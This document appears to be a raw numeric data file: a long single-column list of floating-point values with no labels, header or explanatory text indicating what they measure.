0.214009
0.153755
0.170078
0.252801
0.326404
0.158146
0.154666
0.138416
0.155656
0.216232
0.277137
0.331338
0.255633
0.171556
0.140289
0.156194
0.159314
0.280362
0.218929
0.157882
0.174215
0.258155
0.332975
0.161977
0.158347
0.141965
0.159409
0.220619
0.282257
0.336676
0.260298
0.176363
0.143444
0.159621
0.162933
0.285114
0.2232
0.16128
0.177413
0.262603
0.339876
0.165719
0.161878
0.145127
0.16287
0.225083
0.287073
0.343755
0.266132
0.1793
0.146392
0.16297
0.166537
0.289893
0.227366
0.164798
0.18199
0.268702
0.345532
0.169014
0.165175
0.148245
0.16586
0.228223
0.290925
0.347523
0.269685
0.182937
0.14795
0.164369
0.167997
0.287733
0.226426
0.165339
0.18296
0.270606
0.350434
0.148696
0.15095
0.142544
0.15264
0.183144
0.201752
0.303299
0.232335
0.165498
0.183929
0.275865
0.362616
0.165103
0.163143
0.147896
0.168535
0.234494
0.30144
0.362361
0.278022
0.187622
0.153021
0.170755
0.174369
0.308308
0.240216
0.17287
0.190676
0.283196
0.367144
0.174714
0.171677
0.154854
0.174781
0.242062
0.309541
0.371313
0.286314
0.193247
0.157394
0.175464
0.179357
0.313638
0.245021
0.176875
0.195287
0.289545
0.373397
0.179081
0.176027
0.159092
0.179163
0.247237
0.315341
0.377887
0.291855
0.197305
0.160962
0.179114
0.183173
0.316864
0.247996
0.179679
0.198076
0.292646
0.379328
0.18072
0.177465
0.160433
0.178897
0.245141
0.311539
0.383038
0.295439
0.199211
0.154789
0.162723
0.159384
0.21817
0.198475
0.166086
0.18092
0.252814
0.329072
0.396115
0.303235
0.201921
0.161815
0.17843
0.180929
0.327492
0.255523
0.184271
0.205113
0.304424
0.394175
0.189724
0.185638
0.166525
0.188222
0.260004
0.331833
0.401375
0.308824
0.208958
0.169572
0.188213
0.191855
0.334545
0.262409
0.190238
0.210923
0.312313
0.40315
0.195118
0.190805
0.171545
0.191383
0.262626
0.333992
0.405775
0.311236
0.210072
0.163317
0.171859
0.168284
0.226114
0.206825
0.174358
0.189737
0.26508
0.345348
0.417578
0.318896
0.21275
0.171068
0.188766
0.191556
0.343599
0.267845
0.193117
0.216254
0.321609
0.417555
0.194887
0.192115
0.174307
0.196903
0.269807
0.343218
0.424491
0.326722
0.219661
0.168947
0.177543
0.173744
0.237249
0.216156
0.181031
0.196511
0.275102
0.358207
0.434197
0.331727
0.22013
0.176782
0.194318
0.19661
0.355954
0.277431
0.200039
0.224108
0.332628
0.432139
0.206342
0.202175
0.181723
0.204854
0.281543
0.359532
0.439127
0.337955
0.227861
0.175129
0.183931
0.179547
0.241236
0.220963
0.186407
0.203562
0.284598
0.37046
0.451722
0.344654
0.228297
0.183251
0.201894
0.204463
0.368048
0.287041
0.207218
0.232528
0.34608
0.449713
0.207883
0.20527
0.186523
0.209529
0.286713
0.365177
0.458416
0.354771
0.23894
0.181279
0.189921
0.18531
0.253727
0.232623
0.196394
0.208625
0.291392
0.379241
0.46918
0.360309
0.238981
0.188838
0.207423
0.210005
0.373088
0.293117
0.213792
0.240914
0.360427
0.466172
0.191804
0.196039
0.186765
0.200662
0.238888
0.261816
0.395138
0.304572
0.218959
0.244615
0.368871
0.485099
0.212195
0.210934
0.193427
0.216964
0.297007
0.378002
0.480776
0.370142
0.247588
0.186824
0.196594
0.192758
0.26378
0.241497
0.203721
0.217619
0.30248
0.393202
0.494584
0.37624
0.250262
0.190047
0.197345
0.191305
0.263612
0.242531
0.206007
0.224489
0.313639
0.407032
0.504322
0.383288
0.252767
0.201568
0.220689
0.22282
0.393378
0.308589
0.224762
0.258522
0.386091
0.503556
0.195243
0.200936
0.193053
0.212465
0.250026
0.271442
0.404155
0.31162
0.225523
0.267662
0.402304
0.524275
0.199172
0.205519
0.197525
0.215219
0.253387
0.274991
0.405689
0.312641
0.225263
0.265182
0.400737
0.526575
0.19523
0.201694
0.194638
0.215746
0.253381
0.274828
0.411784
0.317101
0.229102
0.273239
0.412208
0.53739
0.204461
0.210758
0.202622
0.220961
0.259969
0.281569
0.414887
0.319768
0.230583
0.268712
0.407803
0.539302
0.200025
0.206627
0.198886
0.207524
0.230869
0.239833
0.273998
0.250067
0.211395
0.23475
0.326516
0.425495
0.55973
0.423291
0.276804
0.20496
0.212076
0.203932
0.283218
0.260694
0.220972
0.235361
0.327305
0.425114
0.560715
0.425264
0.278
0.202556
0.206531
0.196652
0.244404
0.236388
0.21325
0.220863
0.260847
0.286739
0.438044
0.339312
0.244201
0.279187
0.431909
0.575791
0.201721
0.21055
0.204844
0.213799
0.241411
0.252801
0.288245
0.261913
0.219681
0.239661
0.333706
0.435832
0.584774
0.440945
0.286618
0.208977
0.214794
0.205233
0.243285
0.236879
0.214492
0.204849
0.230105
0.239743
0.272885
0.252509
0.215246
0.232215
0.32421
0.424394
0.596092
0.445692
0.287317
0.202039
0.205872
0.194623
0.233118
0.228385
0.207493
0.199035
0.224728
0.234892
0.241409
0.231878
0.205715
0.201795
0.233708
0.24782
0.277719
0.255457
0.212367
0.222367
0.317489
0.419502
0.599821
0.445015
0.281065
0.199502
0.207916
0.201167
0.234707
0.230147
0.207276
0.18814
0.212657
0.221654
0.221342
0.212384
0.187166
0.178281
0.205361
0.212696
0.210821
0.200575
0.170502
0.161055
0.190177
0.199919
0.202415
0.191463
0.157256
0.147326
0.181031
0.192249
0.192752
0.179172
0.142658
0.136582
0.172555
0.18526
0.187014
0.171532
0.132867
0.128331
0.165558
0.179611
0.181731
0.165098
0.125578
0.121548
0.159616
0.175122
0.177572
0.15979
0.119643
0.116162
0.154686
0.171247
0.173702
0.154963
0.114727
0.111716
0.15018
0.167623
0.170272
0.150819
0.11069
0.108084
0.146335
0.164384
0.167013
0.147052
0.107398
0.105129
0.142845
0.161324
0.164131
0.143888
0.104725
0.10273
0.139923
0.158584
0.161366
0.141005
0.102557
0.100922
0.137581
0.156423
0.158932
0.138627
0.10085
0.0996003
0.135672
0.154543
0.156609
0.136451
0.0995383
0.0986005
0.134135
0.152897
0.154596
0.134699
0.0985508
0.0978538
0.132656
0.151271
0.152666
0.133056
0.097814
0.0973201
0.131509
0.1499
0.151025
0.131768
0.0972872
0.0969481
0.13039
0.14856
0.149473
0.13055
0.0969195
0.0967042
0.129558
0.147475
0.148181
0.129627
0.0966797
0.0965519
0.12871
0.146396
0.146967
0.128731
0.0965301
0.0964682
0.128111
0.145552
0.145978
0.128077
0.0964487
0.09644
0.127478
0.144709
0.145042
0.127415
0.0964211
0.0964555
0.127073
0.14409
0.144303
0.126969
0.096436
0.096506
0.126616
0.143451
0.143599
0.126499
0.0964857
0.0965807
0.126367
0.143011
0.143068
0.126222
0.0965601
0.0966742
0.126045
0.142529
0.142548
0.1259
0.0966534
0.0967804
0.125914
0.142228
0.142175
0.125745
0.0967593
0.0968985
0.125694
0.141865
0.141795
0.125531
0.0968773
0.0970235
0.125651
0.141669
0.141543
0.12547
0.0970021
0.097157
0.125512
0.141405
0.141267
0.125339
0.0971361
0.097294
0.125535
0.141288
0.141114
0.125353
0.0972736
0.0974338
0.125454
0.141097
0.14092
0.125283
0.0974148
0.0975755
0.125529
0.14111
0.140902
0.125351
0.0975582
0.0977209
0.125494
0.140919
0.140715
0.125328
0.0977058
0.0978696
0.125607
0.140909
0.140688
0.125438
0.0978567
0.0980198
0.125605
0.140814
0.1406
0.125448
0.0980088
0.0981704
0.125746
0.140845
0.140617
0.125585
0.0981609
0.0983217
0.125769
0.140787
0.140566
0.125618
0.0983134
0.0984731
0.125929
0.140847
0.140613
0.125774
0.0984657
0.0986242
0.125967
0.140811
0.140586
0.125821
0.0986173
0.0987734
0.126139
0.14089
0.140652
0.125989
0.0987664
0.0989212
0.126185
0.140866
0.140642
0.126043
0.0989145
0.0990672
0.126361
0.140956
0.140723
0.126215
0.0990607
0.0992107
0.126407
0.140942
0.140725
0.126273
0.0992048
0.0993482
0.126579
0.141035
0.140815
0.126444
0.0993428
0.0994802
0.126619
0.141022
0.140824
0.126498
0.0994757
0.099605
0.126783
0.141116
0.140917
0.126663
0.0996013
0.0997238
0.126814
0.141103
0.140927
0.126708
0.0997208
0.099835
0.126969
0.141197
0.14102
0.126864
0.0998323
0.0999395
0.126993
0.141184
0.141028
0.1269
0.0999372
0.100037
0.12714
0.141277
0.141119
0.127047
0.100034
0.100128
0.127155
0.141263
0.141124
0.127075
0.100126
0.100212
0.127294
0.141353
0.141213
0.127213
0.10021
0.100291
0.127301
0.141337
0.141216
0.127232
0.10029
0.100364
0.127433
0.141426
0.141302
0.127363
0.100363
0.100432
0.127434
0.141408
0.141302
0.127375
0.100432
0.100495
0.127559
0.141494
0.141385
0.127499
0.100495
0.100555
0.127554
0.141474
0.141381
0.127504
0.100556
0.10061
0.127673
0.141558
0.141461
0.127621
0.100611
0.100663
0.127662
0.141536
0.141454
0.127619
0.100663
0.10071
0.127776
0.141617
0.141531
0.12773
0.100711
0.100756
0.12776
0.141592
0.141521
0.127722
0.100757
0.100797
0.127868
0.14167
0.141594
0.127828
0.100798
0.100837
0.127846
0.141643
0.141581
0.127814
0.100838
0.100873
0.127949
0.141718
0.141651
0.127914
0.100874
0.100907
0.127923
0.141689
0.141634
0.127895
0.100908
0.100938
0.128021
0.141761
0.141701
0.12799
0.100939
0.100968
0.127991
0.141728
0.141681
0.127967
0.100969
0.100994
0.128084
0.141797
0.141744
0.128057
0.100995
0.10102
0.12805
0.141762
0.141722
0.12803
0.101021
0.101043
0.128139
0.141828
0.141783
0.128116
0.101044
0.101065
0.128101
0.141791
0.141757
0.128085
0.101066
0.101084
0.128187
0.141855
0.141816
0.128167
0.101086
0.101103
0.128145
0.141815
0.141788
0.128132
0.101105
0.101119
0.128227
0.141876
0.141844
0.128212
0.101121
0.101135
0.128183
0.141835
0.141814
0.128174
0.101138
0.101149
0.128263
0.141895
0.141868
0.12825
0.101152
0.101164
0.128216
0.141853
0.141836
0.12821
0.101167
0.101176
0.128295
0.141912
0.141888
0.128284
0.101179
0.101189
0.128246
0.141868
0.141855
0.128242
0.101193
0.101201
0.128324
0.141927
0.141907
0.128315
0.101204
0.101213
0.128275
0.141883
0.141873
0.128272
0.101217
0.101224
0.128351
0.141942
0.141924
0.128344
0.101228
0.101237
0.128302
0.141899
0.14189
0.128299
0.10124
0.101248
0.128379
0.141958
0.14194
0.128371
0.101251
0.10126
0.128329
0.141916
0.141906
0.128326
0.101264
0.101271
0.128406
0.141975
0.141958
0.128398
0.101275
0.101284
0.128357
0.141933
0.141924
0.128354
0.101288
0.101295
0.128434
0.141993
0.141976
0.128427
0.101299
0.101309
0.128385
0.141952
0.141944
0.128383
0.101313
0.101321
0.128462
0.142014
0.141996
0.128455
0.101325
0.101335
0.128415
0.141974
0.141964
0.128412
0.101339
0.101349
0.128495
0.142039
0.142018
0.128486
0.101353
0.101366
0.128451
0.142003
0.141989
0.128446
0.101371
0.101385
0.128537
0.142075
0.142046
0.128524
0.10139
0.10141
0.128502
0.142048
0.142022
0.12849
0.101414
0.101438
0.128598
0.142132
0.142086
0.128576
0.101443
0.101477
0.128579
0.142123
0.142073
0.128554
0.101482
0.101526
0.128698
0.14223
0.142151
0.128658
0.101531
0.101593
0.128712
0.142259
0.142063
0.128598
0.1016
0.101563
0.128679
0.142207
0.141742
0.12843
0.101517
0.101297
0.128637
0.142491
0.141674
0.128793
0.102207
0.102809
0.131692
0.147322
0.15535
0.140992
0.111739
0.114548
0.150964
0.173803
0.205746
0.180787
0.138504
0.142013
0.191246
0.225969
0.23483
0.205115
0.157309
0.255213
0.288079
0.304136
0.280426
0.207387
0.175858
0.156656
0.103693
0.0801576
0.0736249
0.0714003
0.0704172
0.0700557
0.0698955
0.0698949
0.0699266
0.0699776
0.0700208
0.0700626
0.0701017
0.0702054
0.0702662
0.0706795
0.0707883
0.0712319
0.0713103
0.0702566
0.07155
0.0702345
0.0669587
0.0616375
0.0584445
0.0512673
0.0499762
0.0469068
0.0466591
0.0461283
0.0461318
0.0461172
0.0461395
0.0461388
0.0461378
0.0461362
0.046134
0.046131
0.0461269
0.0461217
0.0461158
0.0461092
0.0461038
0.0460984
0.0460917
0.0460815
0.046067
0.0460495
0.0460298
0.0460083
0.0459851
0.04596
0.0459325
0.0459022
0.0458688
0.0458318
0.0457904
0.0457442
0.0456929
0.0456353
0.0455705
0.0454983
0.0454175
0.0453273
0.0452269
0.0451153
0.0449915
0.0448547
0.0447038
0.0445382
0.0443569
0.0441592
0.0439448
0.0437126
0.0434633
0.0431961
0.0429113
0.0426094
0.0422907
0.0419561
0.0416059
0.0412419
0.0408649
0.0404756
0.0400762
0.0396674
0.0392508
0.0388276
0.0383992
0.0379671
0.037532
0.0370955
0.0366585
0.0362223
0.0357876
0.035355
0.0349259
0.0345005
0.0340795
0.0336637
0.033253
0.0328486
0.0324503
0.0320586
0.0316737
0.0312959
0.0309253
0.0305621
0.0302063
0.029858
0.0295174
0.0291843
0.0288589
0.0285411
0.0282309
0.0279282
0.0276329
0.0273449
0.0270642
0.0267905
0.0265238
0.0262639
0.0260107
0.0257638
0.0255235
0.0252894
0.0250613
0.0248393
0.0246232
0.024413
0.0242083
0.0240095
0.0238162
0.0236284
0.0234459
0.0232689
0.0230971
0.0229303
0.0227688
0.0226123
0.0224605
0.0223136
0.0221714
0.0220339
0.0219008
0.0217722
0.0216479
0.0215279
0.0214121
0.0213003
0.0211926
0.0210888
0.0209888
0.0208927
0.0208002
0.0207114
0.0206262
0.0205444
0.0204661
0.0203913
0.0203195
0.0202512
0.0201861
0.0201241
0.020065
0.0200089
0.0199559
0.0199057
0.0198583
0.0198136
0.0197716
0.0197323
0.0196956
0.0196615
0.0196298
0.0196007
0.0195741
0.01955
0.0195285
0.0195095
0.0194923
0.0194783
0.0194623
0.0194537
0.0194494
0.0196684
0.0197738
0.0210561
0.0216032
0.0246265
0.0240737
0.0241128
0.0242426
0.0243616
0.0243887
0.0243235
0.0242423
0.0241657
0.0241125
0.0240705
0.0240348
0.0239996
0.023965
0.0239297
0.0238936
0.0238565
0.023818
0.0237778
0.0237352
0.0236913
0.0236455
0.023598
0.0235489
0.0234983
0.0234474
0.0233939
0.0233385
0.0232826
0.0232262
0.0231682
0.0231081
0.0230485
0.0229881
0.0229272
0.0228659
0.0228042
0.0227423
0.0226803
0.022619
0.0225572
0.0224955
0.0224344
0.0223737
0.0223138
0.0222541
0.0221963
0.0221405
0.0220842
0.0220263
0.0219683
0.0219151
0.0218666
0.0218206
0.0218059
0.021863
0.0220159
0.0222984
0.022718
0.0229517
0.0220698
0.0193328
0.041159
0.0364324
0.0368917
0.0356912
0.0352215
0.03519
0.0350275
0.0351609
0.0350183
0.0351368
0.0349786
0.0350868
0.0349178
0.0350189
0.0348441
0.0349391
0.0347592
0.0348488
0.0346644
0.0347491
0.0345609
0.034641
0.0344491
0.0345248
0.0343294
0.0344007
0.0342018
0.0342687
0.0340664
0.0341289
0.0339232
0.0339812
0.033772
0.0338252
0.0336126
0.0336609
0.0334446
0.033488
0.0332679
0.033306
0.0330819
0.0331144
0.0328861
0.0329125
0.0326795
0.0326993
0.0324612
0.0324737
0.0322298
0.0322345
0.0319845
0.0319806
0.0317241
0.0317113
0.0314478
0.0314254
0.0311546
0.0311221
0.0308433
0.0307998
0.0305125
0.0304571
0.0301604
0.0300923
0.0297857
0.0297041
0.0293872
0.0292914
0.0289636
0.0288527
0.0285133
0.0283866
0.0280349
0.0278912
0.0275265
0.0273645
0.0269856
0.0268041
0.0264101
0.0262084
0.0257995
0.0255778
0.0251553
0.0249142
0.0244798
0.0242235
0.0237794
0.0235091
0.0230578
0.0227769
0.0223224
0.0220356
0.0215833
0.0212965
0.0208526
0.020573
0.0201447
0.0198805
0.0194765
0.019237
0.0188662
0.0186623
0.0183324
0.0181703
0.0178851
0.0177678
0.0175281
0.0174557
0.0172599
0.0172393
0.0171474
0.0171224
0.0171138
0.0170664
0.0171212
0.0170658
0.0171585
0.0171147
0.0172181
0.0171828
0.0172934
0.0172631
0.0173779
0.0173498
0.0174662
0.0174379
0.0175545
0.017526
0.0176431
0.0176145
0.0177325
0.0177043
0.0178224
0.0177935
0.0179106
0.0178781
0.0179913
0.017954
0.0180633
0.0180226
0.0181291
0.0180865
0.0181916
0.0181523
0.0182527
0.0182147
0.0183114
0.0182753
0.0183692
0.0183351
0.0184262
0.0183928
0.0184795
0.0184447
0.018526
0.0184709
0.0185371
0.0184345
0.0184221
0.0181641
0.0181198
0.0177337
0.0179918
0.0179166
0.0192926
0.0211062
0.0219512
0.022268
0.0206032
0.0198642
0.0188244
0.0193389
0.022529
0.0190535
0.0184498
0.0218088
0.00945202
0.022398
0.021624
0.0224815
0.0226318
0.0220799
0.022523
0.0231296
0.0224664
0.0229489
0.023148
0.0226746
0.0232733
0.00923328
0.00973995
0.0102642
0.0229962
0.0191588
0.0191554
0.0229148
0.0233515
0.0194699
0.0194035
0.0232432
0.0104725
0.0105357
0.0234273
0.0195523
0.0194195
0.0232632
0.0234207
0.01954
0.0193913
0.0232417
0.0105543
0.0105462
0.0233883
0.0195035
0.0193478
0.0232001
0.0233498
0.0194615
0.0192994
0.0231541
0.0105343
0.01052
0.0233097
0.0194171
0.0192493
0.0231068
0.0232709
0.0193732
0.0191996
0.0230605
0.0105062
0.0104925
0.0232328
0.0193293
0.0191495
0.0230153
0.023194
0.0192843
0.0190966
0.0229693
0.0104786
0.0104642
0.0231546
0.0192382
0.0190454
0.0229218
0.0231134
0.0191904
0.018992
0.0228728
0.0104489
0.010432
0.023068
0.0191377
0.0189341
0.0228203
0.0230175
0.0190788
0.0188702
0.0227619
0.0104136
0.0103948
0.022965
0.0190163
0.0188013
0.0226978
0.022915
0.0189541
0.018732
0.0226323
0.0103763
0.0103583
0.0228682
0.0188947
0.0186656
0.0225694
0.0228242
0.0188382
0.0186042
0.0225147
0.0103412
0.0103252
0.0227819
0.0187835
0.0185486
0.0224714
0.0227401
0.0187297
0.0185015
0.0224445
0.0103103
0.0102972
0.022702
0.0186797
0.0184682
0.0224409
0.0226708
0.0186383
0.0184555
0.0224685
0.0102878
0.0102853
0.0226498
0.0186099
0.0184696
0.0225367
0.0226456
0.0185981
0.0185384
0.0226571
0.010323
0.0103925
0.0226634
0.0186071
0.0186692
0.0228426
0.0227128
0.0186469
0.0188677
0.0231045
0.0104921
0.0106271
0.0228061
0.0187469
0.0191448
0.023457
0.0229559
0.0189554
0.0195058
0.0239072
0.0108016
0.0110174
0.0231754
0.019237
0.0199538
0.0244557
0.0234782
0.0195983
0.0204856
0.0250971
0.011274
0.0115679
0.0238745
0.0200419
0.0210934
0.0258184
0.0243892
0.0205894
0.0217638
0.0266045
0.0118914
0.0122376
0.0250517
0.0212538
0.0224693
0.0274246
0.0257715
0.0219471
0.023196
0.0282632
0.0125941
0.0129561
0.0265296
0.0226505
0.023928
0.0291019
0.0273113
0.0233524
0.0246534
0.0299278
0.0133154
0.0136681
0.0281011
0.0240426
0.0253628
0.0307306
0.0288857
0.0247136
0.0260492
0.0315035
0.0140099
0.0143397
0.0296549
0.0253605
0.0267098
0.032244
0.0304038
0.025986
0.0273436
0.032946
0.0146537
0.014952
0.0311839
0.0266408
0.0279405
0.0336093
0.0319314
0.027264
0.0285048
0.0342356
0.0152342
0.0154982
0.0326371
0.0278503
0.0290327
0.0348199
0.0333059
0.0284038
0.0295274
0.0353665
0.0157459
0.0159778
0.0339366
0.0289247
0.0299914
0.0358784
0.0345307
0.0294148
0.0304269
0.0363581
0.0161952
0.0163989
0.0350894
0.0298756
0.0308358
0.036808
0.0356144
0.0303086
0.0312197
0.0372298
0.0165894
0.0167686
0.0361071
0.0307153
0.0315798
0.0376251
0.0365692
0.0310968
0.0319158
0.0379927
0.0169359
0.0170922
0.037004
0.0314558
0.0322319
0.0383383
0.0374082
0.0317905
0.0325296
0.0386638
0.017238
0.0173746
0.0377833
0.0321022
0.0328074
0.0389662
0.0381356
0.0323958
0.0330682
0.0392494
0.0175014
0.0176201
0.0384645
0.0326708
0.0333128
0.0395142
0.0387713
0.0329284
0.0335422
0.0397617
0.0177304
0.0178338
0.0390573
0.0331695
0.0337572
0.0399928
0.039324
0.0333952
0.0339586
0.0402083
0.0179301
0.0180188
0.0395726
0.0336065
0.0341475
0.0404093
0.0398044
0.0338046
0.034325
0.0405972
0.0181012
0.0181787
0.0400205
0.0339904
0.0344903
0.0407704
0.0402245
0.0341668
0.0346491
0.0409371
0.0182504
0.0183173
0.0404103
0.0343292
0.034797
0.0410905
0.0405859
0.0344833
0.0349358
0.0412334
0.0183784
0.0184352
0.0407496
0.0346278
0.0350657
0.0413658
0.0409017
0.034763
0.0351852
0.0414855
0.0184868
0.018535
0.0410448
0.0348906
0.0352978
0.0415975
0.0411742
0.0350076
0.0354018
0.0416993
0.0185772
0.0186147
0.0412926
0.0351156
0.0354972
0.0417909
0.0414001
0.0352146
0.0355856
0.0418747
0.0186488
0.0186767
0.041494
0.0353026
0.0356634
0.0419454
0.0415792
0.0353831
0.0357319
0.0420053
0.0187002
0.0187186
0.0416533
0.035454
0.0357903
0.0420539
0.041717
0.035515
0.0358375
0.0420899
0.0187319
0.0187434
0.0417692
0.0355647
0.0358727
0.0421122
0.041809
0.0356024
0.0359114
0.0421431
0.0187583
0.0188112
0.0418498
0.0356253
0.0358873
0.0421348
0.0417999
0.0356244
0.0359206
0.0421781
0.0189932
0.0195118
0.0416213
0.0355938
0.0363872
0.0428569
0.0195209
0.0182482
0.017759
0.017622
0.0176004
0.0175906
0.0175889
0.0175827
0.0175723
0.0175581
0.0175385
0.0175162
0.0174899
0.0174585
0.0174243
0.0173856
0.0173434
0.0172963
0.0172455
0.0171901
0.017131
0.0170668
0.0169963
0.0169201
0.0168387
0.0167506
0.0166564
0.0165545
0.0164457
0.0163288
0.0162029
0.0160673
0.0159223
0.015766
0.0155978
0.0154164
0.0152204
0.0150087
0.0147787
0.0145315
0.014265
0.0139774
0.0136697
0.0133399
0.0129891
0.01262
0.0122411
0.0118584
0.0114871
0.0111395
0.0108296
0.010567
0.0103555
0.0101932
0.0100748
0.00999249
0.00995602
0.0099936
0.0100269
0.0100548
0.0100778
0.0100961
0.0101102
0.010121
0.0101298
0.0101379
0.010146
0.010154
0.0101609
0.0101667
0.0101718
0.0101765
0.0101809
0.0101856
0.0101858
0.0101738
0.0101282
0.0100028
0.0101264
0.0098189
0.00926356
0.0236025
0.022915
0.0233631
0.0235326
0.0230577
0.0236875
0.0239306
0.0232339
0.0236991
0.023826
0.0233237
0.0239762
0.00930219
0.00989514
0.00996225
0.00934933
0.0241396
0.0234415
0.0239231
0.0239793
0.0235092
0.0241548
0.0242727
0.0236311
0.0241323
0.0243923
0.0238208
0.0244307
0.00945291
0.0100495
0.0103991
0.0103251
0.010236
0.0104154
0.0102898
0.0103516
0.0103706
0.0105082
0.0104883
0.0105981
0.0105189
0.0106081
0.010691
0.0107167
0.0106211
0.0106371
0.0105216
0.0103778
0.0103779
0.0105249
0.0105281
0.010378
0.0103779
0.010531
0.0106527
0.0106477
0.0106426
0.0107391
0.010732
0.0108038
0.0107892
0.0107639
0.0106882
0.0104913
0.0102127
0.00967792
0.0245258
0.0241026
0.0248064
0.0254242
0.0244872
0.0248489
0.0245657
0.0247316
0.0262665
0.0270879
0.0245227
0.0248432
0.0102767
0.0111642
0.0252287
0.0241436
0.0251333
0.0217513
0.0228545
0.0249168
0.02112
0.0766255
0.0557723
0.0504348
0.0601917
0.0441621
0.0491963
0.0510986
0.0429681
0.0412233
0.0497718
0.0223794
0.0227861
0.0513751
0.0495049
0.040824
0.0417937
0.0414828
0.0507986
0.0516342
0.0231646
0.0226949
0.0231134
0.0231319
0.0252522
0.0253458
0.0113445
0.0114596
0.0114997
0.0115197
0.0254429
0.0255895
0.0254124
0.0255512
0.025392
0.0254876
0.0232565
0.0231868
0.0517111
0.0518335
0.0515884
0.0517196
0.0516266
0.0517418
0.0515266
0.0513377
0.0417344
0.0418827
0.0418274
0.0419034
0.0418619
0.0420195
0.0419302
0.042065
0.0419649
0.0420501
0.0517627
0.0516317
0.051925
0.0421624
0.0419467
0.0420601
0.0517943
0.0232219
0.0233102
0.0517144
0.0518563
0.0421524
0.0420418
0.0422703
0.0520228
0.0518747
0.0232665
0.0233504
0.0233011
0.0233902
0.0256226
0.0254663
0.0115346
0.0115471
0.0108125
0.0108208
0.0107456
0.0107522
0.0107596
0.0106579
0.0105338
0.0103773
0.0103762
0.0105365
0.0105397
0.0103745
0.0103728
0.010544
0.0106812
0.0106717
0.010664
0.010769
0.0107809
0.0107949
0.0108895
0.0108706
0.0108541
0.0108405
0.0108298
0.011577
0.0115609
0.0255329
0.0256887
0.025497
0.0256552
0.0234315
0.0233367
0.0520436
0.0522185
0.0518798
0.0520516
0.0519594
0.0521206
0.0517972
0.0519549
0.0422603
0.042153
0.0421375
0.0423773
0.0422517
0.0423675
0.0422346
0.0424858
0.0423495
0.0424797
0.0521526
0.0519708
0.0523239
0.042602
0.0423392
0.0424625
0.0521441
0.0233787
0.0234763
0.0520778
0.052258
0.0425956
0.0424572
0.0427218
0.0524335
0.0522578
0.0234268
0.0235281
0.0257267
0.0255773
0.0257733
0.0235897
0.023484
0.0523927
0.0525657
0.0521998
0.0523785
0.0427253
0.0425875
0.0425938
0.0428616
0.0427359
0.0428753
0.0525202
0.0523496
0.0527197
0.0430235
0.0427508
0.0429011
0.0525527
0.0235499
0.0256264
0.0115958
0.0116174
0.011641
0.0116662
0.0257744
0.0259624
0.025726
0.0258925
0.0256757
0.0258287
0.0236608
0.02362
0.0237391
0.0526918
0.0528755
0.0527241
0.0528991
0.0525158
0.0526878
0.0430479
0.0429263
0.0432072
0.0430845
0.0432432
0.0431129
0.0434094
0.0530942
0.052904
0.0236941
0.0238236
0.0237712
0.0239139
0.0260374
0.025822
0.0116929
0.01091
0.0108102
0.0106917
0.010549
0.0103715
0.0103699
0.0105535
0.0105556
0.0103665
0.0103592
0.0105533
0.010714
0.0107097
0.0107017
0.0108257
0.0108404
0.0108533
0.0108595
0.0107122
0.0105444
0.0103465
0.0103266
0.0105264
0.0104961
0.0102976
0.010258
0.0104503
0.0106293
0.0106745
0.010698
0.0108595
0.0108434
0.0108047
0.0107379
0.0105608
0.0103866
0.0102067
0.0101436
0.0103032
0.0102346
0.0101499
0.0102234
0.0102908
0.0103029
0.0103402
0.0104655
0.0106405
0.0105072
0.0103514
0.0103014
0.0103681
0.0103865
0.010338
0.0105041
0.0105485
0.0107795
0.0107278
0.0110212
0.011099
0.0110805
0.0107383
0.0105077
0.0103888
0.0105815
0.0109528
0.0106193
0.0102229
0.0101823
0.0102939
0.0105045
0.0107044
0.010836
0.0109261
0.0109817
0.011009
0.0110172
0.0109995
0.01098
0.0109552
0.0109318
0.0117217
0.0117535
0.0117885
0.0259469
0.0263394
0.0259108
0.0262191
0.0258676
0.0261213
0.0240146
0.023852
0.0532959
0.0535376
0.053073
0.0532999
0.053095
0.0533076
0.0528782
0.0530798
0.0434519
0.043274
0.0433102
0.0436305
0.0434803
0.0436815
0.0435228
0.0438707
0.0437002
0.0439367
0.0535447
0.0532847
0.0538021
0.044146
0.0437561
0.0439495
0.0535173
0.0239402
0.0241308
0.0535136
0.0538296
0.0442331
0.0440169
0.0444675
0.0541114
0.0537556
0.0240376
0.024271
0.0241488
0.0244508
0.0264973
0.0259758
0.0118182
0.0118316
0.0118154
0.0117696
0.0254792
0.0267475
0.0257574
0.0267449
0.0259283
0.0266492
0.0246315
0.0242689
0.0543906
0.0550184
0.0540541
0.0546041
0.0540255
0.0544894
0.0537669
0.0541692
0.0445874
0.0442215
0.0443066
0.0448637
0.0445352
0.0450467
0.0446494
0.0454186
0.0449637
0.0457582
0.055176
0.0544458
0.0556309
0.0460378
0.0451589
0.0453694
0.0545915
0.0243313
0.024731
0.0545219
0.0555241
0.0461983
0.0454447
0.0463134
0.0557095
0.0544282
0.0242754
0.024699
0.0240964
0.024556
0.0266635
0.0251849
0.0116872
0.0115911
0.0114202
0.0111507
0.0241201
0.0264127
0.024733
0.0264589
0.0249826
0.0264988
0.0243708
0.0238672
0.0530848
0.0552861
0.0533255
0.0555541
0.0538288
0.0557233
0.0540186
0.0556431
0.0463307
0.0452599
0.0452527
0.04631
0.0450778
0.0463634
0.0449061
0.0462043
0.0448132
0.0461459
0.0550595
0.0525297
0.0547965
0.0460152
0.0446922
0.0446213
0.0522906
0.0237339
0.0244097
0.0522993
0.0546673
0.0463136
0.045133
0.0472328
0.0554454
0.0515228
0.0238337
0.0237513
0.0226766
0.0231429
0.0255279
0.0236456
0.0109053
0.0106497
0.0102493
0.0100391
0.00871815
0.0247224
0.0229991
0.0242844
0.0232098
0.0247753
0.0225822
0.0223067
0.0481051
0.052464
0.048439
0.0542907
0.0485694
0.0560615
0.0473416
0.0550496
0.0465369
0.0454517
0.0400627
0.0525866
0.0592189
0.0492311
0.047294
0.0472441
0.0439889
0.0452293
0.0534419
0.0448256
0.046228
0.048677
0.0430698
0.0534245
0.0517264
0.0474302
0.0511435
0.047274
0.0455042
0.0497908
0.0636782
0.0475567
0.0437343
0.0434195
0.0462155
0.0217007
0.0216807
0.0489115
0.0506331
0.0437093
0.0495763
0.0507626
0.0552047
0.0184808
0.0198864
0.0210998
0.0216148
0.0710955
0.0461449
0.0439624
0.0477537
0.0519126
0.0350214
0.0621326
0.0481184
0.0409442
0.038347
0.0503189
0.0470906
0.0696851
0.0587222
0.0225095
0.0194412
0.0441646
0.0516016
0.031569
0.0410906
0.0357309
0.0279545
0.0349706
0.0362177
0.0184951
0.00923116
0.0107938
0.0113277
0.011529
0.0115555
0.0115004
0.0113723
0.0117703
0.011975
0.0124835
0.0121953
0.01263
0.0129977
0.0133746
0.0127643
0.0121441
0.0122683
0.0130325
0.0137658
